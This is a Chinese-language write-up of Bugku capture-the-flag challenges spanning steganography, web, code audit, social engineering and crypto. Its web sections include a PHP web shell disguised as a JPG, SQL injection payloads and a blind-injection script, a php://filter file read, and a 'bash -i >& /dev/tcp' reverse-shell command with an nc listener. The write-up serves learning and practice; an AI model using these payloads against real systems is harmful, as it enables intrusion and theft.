bugku-writeup续

杂项

账号被盗了

先修改浏览器cookie获取,之后可以获得一个可执行文件,是cf的一个刷枪客户端,wireshark抓取一下这个客户端的访问包,可以得到

AUTH LOGIN
334 VXNlcm5hbWU6
YmtjdGZ0ZXN0QDE2My5jb20=
334 UGFzc3dvcmQ6
YTEyMzQ1Ng==

这些base64是用户名和密码,登录邮箱即可获得flag,由于邮箱的flag已经被删除了,所以这里附上flag

1
flag{182100518+725593795416}

爆照(08067CTF)

binwalk一下发现图面里面隐藏了很多东西,分解一下,得到很多没有后缀名的文件,这题比较坑的地方就是我不知道这些文件都是可以打开的图片,文件88里面包含了一个二维码,扫描一下即可,得到第一段;888文件修改一下后缀名为jpg即可查看一个备注信息是一段base64编码,解码得到第二段值;8888里面隐藏了一张二维码,分解扫码即可得到第三段,拼接即可得到flag

妹子的陌陌

上来先binwalk一下看一下,发现还包含一个RAR文件,解压文件发现有密码,查看图片发现图片上有 喜欢我吗. 字样,猜测这就是密码,解压成功后得到一段文本,有一段摩斯密码,解密一下发现是一个解密网站,文本又提示是aes解密,利用题目的密钥解密即可得到一个新的图片地址,访问该图片发现是一个二维码,但是黑白反相了,用PS处理一下(图像->调整->反相)

听首音乐

音频隐写题目,用Audacity打开可以看到第一行,放大后发现像是摩斯密码,依次写出来解密一下即可,但是注意一定要是大写,小写不行。

好多数值

这些数值是像素点,我们要做到就是把它们重新合成图像,根据像素点个数能够求出可能的图像的规格。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from PIL import Image

# 可能的图片大小
# (1006 , 61)
# (503 , 122)
# (122 , 503)

with open('1.txt','r') as file:
x = 503
y = 122
im = Image.new('RGB',(x,y))
for i in range(x):
for j in range(y):
line = file.readline()
rgb = line.split(',')
im.putpixel((i,j),(int(rgb[0]),int(rgb[1]),int(rgb[2])))
im.show()

convert

题目给出了一堆二进制数,照常先转为16进制,发现前六位是 526172,查找资料可知这是RAR文件的文件头,所以导出RAR文件,解压查看图片属性即可看到一段base64,解码即可得到flag

1
2
3
4
5
6
7
8
9
10
11
s = '''
0101001001100001011100100010000100011010000001110000000011001111100100000111001100000000000000000000110100000000000000000000
'''
# 这里输入二进制全文,这里只有删除了大部分的内容

b = hex(int(s,2))
a = '52172211a0700cf907300000d00000000000000f7c07420902c000d09000059220000023e6370190a59b34a1d330700200000006b65792e6a70670'
# 16进制全文,注意删除前面的0x字段

with open('1.rar','wb') as file:
file.write(a.decode('hex'))

好多压缩包

下载之后是一堆压缩包,发现都有密码,打开之后看到有crc校验值,应该就是CRC32碰撞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding:utf-8
import zipfile
import string
import binascii

def CrackCrc(crc):
for i in dic:
for j in dic:
for p in dic:
for q in dic:
s = i + j + p + q
if crc == (binascii.crc32(s) & 0xffffffff):
f.write(s)
return

def CrackZip():
for I in range(68):
file = '123/out' + str(I) + '.zip'
f = zipfile.ZipFile(file, 'r')
GetCrc = f.getinfo('data.txt')
crc = GetCrc.CRC
CrackCrc(crc)

dic = string.ascii_letters + string.digits + '+/='
f = open('out.txt', 'w')
CrackZip()
f.close()

打开之后可以看到是一段base64,解码之后虽然部分是乱码,但是还可可以看到部分内容 fix the file and get the flag ,意思就是让我们修复这个文件,把解码后的内容导入到文件中,查看一下十六进制发现结尾是rar的文件尾部,推测这是RAR文件,则把文件头补齐一下,解压之后还是没有flag,于是再次查看压缩包,在注释里面找到了flag,(文件十六进制值里面有一个CMT字段,说明RAR文件存在注释)

一个普通的压缩包(xp0intCTF)

文件下载之后是个RAR文件,解压之后是个flag.txt,但是里面内容没有flag,所以重点应该还是在这个压缩包,网上看了别人的思路是修改了文件的十六进制值部分改为 A8 3C 74 ,这样再次进行解压即可解压出一个png图片,但是查看十六进制值发现前缀是GIF前缀,修改后缀为GIF,在ps中有两个图层,再把这两个图层分别保存为gif文件,之后再用stegsolve查看即可看到二维码,分别保存,再在ps中上下拼接成二维码,坑点在于拼接之后的二维码还需要修复一下:将下面的图片下面的左半部分拼接左上角,另外还要讲左半部分的定位快在拼接到右上角的空块中。

就五层你能解开吗

根据提示第一层是crc32碰撞,可以看到压缩包的3个txt文件都是6字节,所以猜测应该是用这三个TXT文件的crc32校验值来做。用github上的一个项目来做一下

1
python crc32.py reverse 0x4dad5967

得到

4 bytes: {0x1b, 0xd6, 0x38, 0xc2}
verification checksum: 0x4dad5967 (OK)
alternative: 9rNYn3 (OK)
alternative: Ay8sZC (OK)
alternative: QHSaFX (OK)
alternative: TmQA5n (OK)
alternative: VQT_ls (OK)
alternative: X28BT9 (OK)
alternative: _GLQzV (OK)
alternative: goMEPt (OK)
alternative: nyUKFQ (OK)
alternative: t_s4f3 (OK)
alternative: xQxVkx (OK)
alternative: yQ9gpa (OK)

把三个校验码都跑一下,然后提取其中相对有意义的结果拼起来可以得到解压密码 _CRC32_i5_n0t_s4f3 ,第一层解开!

第二层是维吉尼亚密码,题目给出了近一万条密钥,直接暴力破解肯定是不可能的,但是我们发现密文第一个单词为 rla 只有三个字母,我们可以推测这三个字母的含义,我想了几个可能的情况

明文 密文 密钥
the rla yew
she rla zee
you rla txq
key rla hhc

查表发现只有第一个可以找到对应密钥,尝试解密一下

the vigenere cipher is a method of encrypting alphabetic text by using a series of different caesar ciphers based on the letters of a keyword it is a simple form of polyalphabetic substitution so password is vigenere cipher funny

语义通顺,应该就是这个,用密钥尝试解压缩包,成功,第二层解开!

第三次sha1碰撞,继续上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string
import hashlib

keys = string.ascii_letters + string.digits + string.punctuation

def sha1(s):
sha1_hash = hashlib.sha1()
sha1_hash.update(s)
return sha1_hash.hexdigest()

for i in keys:
for j in keys:
for p in keys:
for q in keys:
password = i + '7' + j + '5-' + p + '4' + q + '3?'
sha = sha1(password.encode('utf-8'))
if sha[0:7] == '619c20c' and sha[8] == 'a' and sha[16] == '9':
print(password)

得到密码 I7~5-s4F3? ,第三次解开!

第四层要求两个exe文件md5值相同但是输出不同,网上查找了一下还真的是有,一个文件输出 Hello World ;-) ,另一个输出 Goodbye World :-( ,以此为密码即可解开

第五层折腾了好久,RSA题目做的太少了,用openssl打开ssl文件看一下

1
openssl rsa -pubin -in rsa_public_key.pem -text -modulus

可以看到e很大,也就是指数很大,网上找了一下有个wienerattack攻击,用脚本跑一下可以得到d

8264667972294275017293339772371783322168822149471976834221082393409363691895

那么接下来就是生成私钥了,github上有个ctftool可以生成私钥

1
python rsatool.py -f PEM -o key.pem -n 46065780722597 -d 826466 -e 3546

PS:篇幅所限,数字我都缩小了

然后利用生成的私钥解密

1
openssl rsautl -decrypt -in flag.enc -inkey key.pem -out 1.txt

然后即可得到flag。

web

文件上传2

这个题目有点难,找了半天的资料,刚开始什么也没有,查看元素发现有个 upload.php,打开发现只能上传图片,试了各种方法都没有用,最后百度了一下找到了方法,直接上传jpg文件,内容如下:

1
<script language="php"> system($_REQUEST[a])</script>

发现成功上传,传递参数

1
?file=upload/201803160110346459.jpg&a=ls

有个txt文件,查看一下

1
?file=upload/201803160110346459.jpg&a=cat this_is_th3_F14g_154f65sd4g35f4d6f43.txt

如此可得到flag

flag.php

点了确实没反应,看了提示是 hint,原来是要get一个hint参数为1, ?hint=1,即可得到源代码,审计一下,只要使cookie中的ISecer的反序列化值与$EKY的反序列化全等即可。但要注意的是$KEY在序列化之前,即$KEY=’’,序列化为 s:0:””

报错注入

题目主要过滤了空格,可以用 /**/绕过,这里介绍个 load_file(filename)可以查看文件,然后慢慢截取即可

1
id=1/**/and/**/updatexml(1,concat(0x7e,(concat(substr(load_file(0x2F7661722F746573742F6B65795F312E706870),100,30))),0x7e),1)

但是有一个地方贼坑,就是提交flag时的引号,一定要用题目里面要求的引号,不是英文的引号!!!

sql注入2

发现文件泄露,访问flag即可(贼几把坑)

文件上传2(湖湘杯)

这道题目没做出来,每次做文件上传类题目的时候总是没思路,这次看了别人的思路,直接文件读取居然就可以了。

1
http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag

孙xx的博客

扫描旁站发现一个PHPmyadmin,查看博客内容

MySQL数据库用户名
define(‘DB_USER’, ‘wp’);

MySQL数据库密码
define(‘DB_PASSWORD’, ‘wzTrzYRdbrbyjAx’);

登录即可找到flag

login(SKCTF)

题目提示是SQL布尔盲注,username字段过滤了空格等常用字符,还有逻辑符号等,新学到一个mid()函数,可以绕过for和逗号

1
username=admin'^(ascii(mid((password)from(1)))<>55)^0#&password=123

直接上脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

url = "http://118.89.219.210:49167/"
payload = ''
data = {'username':payload,'password':'123'}
flag_yes = 'error'
flag = ''
start = 1
end_signal = True
while(end_signal):
end_signal = False
for j in range(33,127):
payload = "admin'^(ascii(mid((password)from({})))<>{})^0#".format(str(start),str(j))
data['username'] = payload
res = requests.post(url,data=data).text
if flag_yes in res:
flag += chr(j)
print(flag)
start += 1
end_signal = True
break

注意:解出后的密码要md5解密,怪我太年轻。

PHP_encrypt_1(ISCCCTF)

这个题目应该是有漏掉东西,没有给出加密后的密文,网上找一下密文,反向破解即可,贴上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# python3

import base64
import hashlib

cipher = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=' # 题目中应该给出的密文串

plain = base64.b64decode(cipher)
plain = plain.decode('unicode-escape')
plain1 = ''

# 构造题目中的md5串
m = hashlib.md5()
m.update(b'ISCC')
key = m.hexdigest()
char = ''
x = 0
for i in range(len(cipher)):
if x == len(key):
x = 0
char += key[x]
x += 1

numflag = [] # 明文ascii码值

def Is_OK(number):
if number >= 33 and number < 127:
return True
else:
return False

for i in range(len(plain)):
for j in range(2):
tmp = 128 * j + ord(plain[i]) - ord(char[i])
if Is_OK(tmp):
numflag.append(tmp)
break
continue

for i in numflag:
print(chr(i),end="")

login2(SKCTF)

这题纯学习姿势,先正常发送请求,抓包发现提示是 tips,base64解码,是一段php代码

1
2
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){}

题目也提示了union绕过,payload

1
username=1' union select md5(1),md5(1)#&password=1

如此即可绕过,登录后是个命令执行,接下来开始重要姿势!!!!

反弹shell

你的linux主机上监听一下端口

1
nc -lvv 8888

然后执行命令

1
|bash -i >& /dev/tcp/你的ip地址/8888 0>&1

如此即可成功反弹到shell!!!!(233333)

然后读文件即可

代码审计

md5加密相等绕过

payload

1
?a=240610708

ereg正则%00截断

好坑啊,提交了一个 ?password=9e9%00-老是不对,没想到居然是 ?password=9e9%00*-*,哎,扎心了…

extract变量覆盖

比较简单,payload

1
2
?shiyan=flag&flag=php://input
flag

第二行以post方式提交

urldecode二次编码饶过

题目关键点在于,$_GET[]会先对得到的参数进行一次url解码,然后在函数中又进行了一次解码,所以会产生二次编码漏洞。

1
?id=%2568%2561%2563%256B%2565%2572%2544%254A

二次编码后提交即可。

md5函数

直接提交数组即可

sha函数比较绕过

还是提交数组即可

十六进制与数字比较

直接提交16进制数字即可。

strpos数组绕过

还是数字绕过 ?ctf[]=1234

杂项

眼见非实(ISCCCTF)

看到文件名是个zip,改后缀名为zip打开,解压后发现是个doc文件,但是带不开,看一下16进制发现 504b0304的开头,所以应该是一个zip文件,在改后缀为zip解压,找出flag即可。

又一张图片,还单纯吗

binwalk跑一下发现有两个图片,切一下即可

1
falg{NSCTF_e6532a34928a3d1dadd0b049d5a3cc57}

宽带信息泄露

百度可知bin后缀为路由器备份文件,有routepassview打开找username字段即可。

隐写2

binwalk跑一下即可,之后得到一个压缩包,需要密码,但是密码只有三位数,暴力破解即可密码871,然后16进制打开,在末尾即可得到flag,花括号内还要base64解码,注意吧flag的@换成a,这是一个坑。

linux

直接解压,然后有个flag文件,hex里面找一下key即可。

中国菜刀

下载后是个数据流文件,wireshark查看一下,由于是菜刀连接,所以只需要查看http协议即可,在第四个http协议里面发现了一句话木马,所以猜测数据传输应该在这之后,追踪一下http流,发现一段base64代码,解之

1
2
3
4
5
6
7
8
9
10
@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){
@set_magic_quotes_runtime0);
};
echo("X@Y");
$F='C:\\wwwroot\\3.php';
$P=@fopen($F,'r');
echo(@fread($P,filesize($F)));
@fclose($P);;echo("X@Y");die();

这应该是打开某个文件,开头和末尾都是 X@Y,查看下一个http流

这应该就是传输的文件,查看一下分组字节,然后把前后的X@Y去掉,解码为压缩形式即可得到flag

这么多数据包

这个题不是很理解,数据流审计还很菜,这里记录一下别人的解法,观察tcp可以看出从104个包开始攻击机开始扫描目标机,在以5542开始的包就已经getshell,所以追踪一下tcp流,发现有个txt文件,有一段base64,解码即可得到flag、

隐写3

改变图片高度即可

想蹭网先解开密码

这个题不是很理解工具怎么使用,WiFi不是很了解,写一个字典出来,工具跑一下,命令如下

1
aircrack-ng wifi.cap -w passwd.txt

linux2

下载文件,先是binwalk了一下,发现一个图片,还有一个图片,图片是一个flag内容,然而并不对,看了比人的wp才知道了正解,没必要binwalk直接跑一下命令即可

1
strings brave > a.txt

然后在a.txt中搜索一下 key,直接出现了flag

账号被盗了

这题不会…

聪明的大象

解压图片发现备注栏有一段base64,再看图片大小6M多,应该是加了东西,binwalk跑一下,切出来一个解压包,密码就是刚刚的base64,解之是一张图片,是以前的一道题,改变高度即可得到flag

web进阶

实战2-注入

打开后发现news页面有id参数,加引号可以报错注入

1
?id=18 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 21,1),0x7e),1)

Trim的日记本

扫描目录,发现有一个 show.php进入即可得到flag!!!!不过不知道是不是正解。

社工

社工进阶

百度搜索孤长离发现有个贴吧,里面有个邮箱,尝试弱口令登录,百度top100弱口令,第二个就是了 a123456

信息查找

直接百度 bugku.cn 今日头条,第一个结果的群号即可。

简单个人信息收集

首先下载到一个压缩包,发现是伪加密,破解之,然后在上社工库查询一下即可。

简单的社工尝试

google识图,然后有一个github相关的页面,点进去之后有一个微博链接,进去之后有个图片,打开图片中的链接即可。

加密

简单加密

凯撒移位,代码

1
2
3
4
5
6
7
8
9
cipher = 'e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA'

for i in range(-70,32):
for j in cipher:
# print(ord(j)+i)
if (ord(j)+i) > 132 or (ord(j)+i) < 33:
break
print(chr(ord(j)+i),end="")
print('\n')

一段base64

多层解码,贴上代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import base64
import re
import string
from urllib import parse

with open('base64.txt') as file:
# base64解码
text = file.read()
text = base64.b64decode(text)
text = text.decode('utf-8')
alp = re.findall(r'([0-7]+)',text)

# base64解码后发现像8进制,8进制转换成10进制
new_alp = []
for item in alp:
new_alp.append(int(item,8))

# ascii解码
alp = ''
for i in new_alp:
alp += str(chr(i))

# 前面的解码后为'\xdd'的形式,推测为16进制
plain = ''
cipher = re.findall(r'\\x([0-9a-f]+)',alp)
for i in cipher:
plain += str(chr(int(i,16)))

# unicode解码
cipher2 = bytes(plain,encoding='utf-8')
plain2 = cipher2.decode('unicode-escape')

# ascii解码
cipher3 = re.findall(r'[0-9]{2,}',plain2)
plain3 = ''
for i in cipher3:
plain3 += chr(int(i))

# unicode解码
cipher4 = re.findall(r'#x([0-9a-f]+)',plain3)
plain4 = []
for i in cipher4:
plain4.append(int(i,16))

# ascii解码
cipher5 = plain4
plain5 = ''
for i in cipher5:
plain5 += chr(i)

# unicode
cipher6 = re.findall(r'&#([0-9]{2,})',plain5)
plain6 = ''
for i in cipher6:
plain6 += chr(int(i))

# urldecode
print(parse.unquote(plain6))

‘!?

看了别人的wp,这题还是Ook!语言跑一下

+[]-

brainfuck语言跑一下

奇怪的密码

其实就是把flag的每一位的ascii值一次加1,2,3,..反过来解一下就可以了

1
2
3
4
5
6
7
8
9
10
cipher = 'gndk€rlqhmtkwwp}z'
plain = ''
seq = 1
for i in cipher:
if i == '€': # 该字符为非法字符,不去掉的话可能会报错
seq += 1
continue
plain += chr((ord(i) - seq))
seq += 1
print(plain)

托马斯杰斐逊

根据提示可知是杰斐逊圆盘加密,附上解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
tomas = '''ZWAXJGDLUBVIQHKYPNTCRMOSFE
KPBELNACZDTRXMJQOYHGVSFUWI
BDMAIZVRNSJUWFHTEQGYXPLOCK
RPLNDVHGFCUKTEBSXQYIZMJWAO
IHFRLABEUOTSGJVDKCPMNZQWXY
AMKGHIWPNYCJBFZDRUSLOQXVET
GWTHSPYBXIZULVKMRAFDCEONJQ
NOZUTWDCVRJLXKISEFAPMYGHBQ
QWATDSRFHENYVUBMCOIKZGJXPL
WABMCXPLTDSRJQZGOIKFHENYVU
XPLTDAOIKFZGHENYSRUBMCQWVJ
TDSWAYXPLVUBOIKZGJRFHENMCQ
BMCSRFHLTDENQWAOXPYVUIKZGJ
XPHKZGJTDSENYVUBMLAOIRFCQW
'''
new_tomas = []
tmp = ''
for i in range(len(tomas)):
if tomas[i] == '\n':
new_tomas.append(tmp)
tmp = ''
else:
tmp += tomas[i]
key = [2,5,1,3,6,4,9,7,8,14,10,13,11,12]
cipher = 'HCBTSXWCRQGLES'
for index in range(len(cipher)):
for p in range(26):
if new_tomas[key[index]-1][p] == cipher[index]:
new_tomas[key[index]-1] = new_tomas[key[index]-1][p:] + new_tomas[key[index]-1][:p]
break

for item in key:
print(new_tomas[item-1][-6:]+new_tomas[item-1][:-6]) # 让输出更明显一点

输出如下

XMJQOYHGVSFUWIKPBELNACZDTR
SGJVDKCPMNZQWXYIHFRLABEUOT
XJGDLUBVIQHKYPNTCRMOSFEZWA
SJUWFHTEQGYXPLOCKBDMAIZVRN
BFZDRUSLOQXVETAMKGHIWPNYCJ
UKTEBSXQYIZMJWAORPLNDVHGFC
GJXPLQWATDSRFHENYVUBMCOIKZ
KMRAFDCEONJQGWTHSPYBXIZULV
UTWDCVRJLXKISEFAPMYGHBQNOZ
AOIRFCQWXPHKZGJTDSENYVUBML
DSRJQZGOIKFHENYVUWABMCXPLT
MCSRFHLTDENQWAOXPYVUIKZGJB
IKFZGHENYSRUBMCQWVJXPLTDAO
NMCQTDSWAYXPLVUBOIKZGJRFHE

好像默认是按照第7位来当做密文,所以我特地按照这个格式来,那么第一列就是明文了,注意flag要求小写。

zip伪加密

已经说了是zip伪加密,直接16进制修改一下即可

告诉你个秘密(ISCCCTF)

看字符串像16进制,转成字符串可以看到像base64,再解码一次

1
r5yG lp9I BjM tFhBT6uh y7iJ QsZ bhM

这是键盘对应的码

1
TONGYUAN

注意本题没有说明flag的提交方式,应该是 flag:TONGYUAN

来自宇宙的信号

既然说了是银河战队,直接百度搜 银河 文字,会看到第一个结果赫然是标准银河字母,对照一下就可以了。

至此,所有加密题目OK。

-------------本文结束感谢您的阅读-------------
您今天怎么辣么迷人!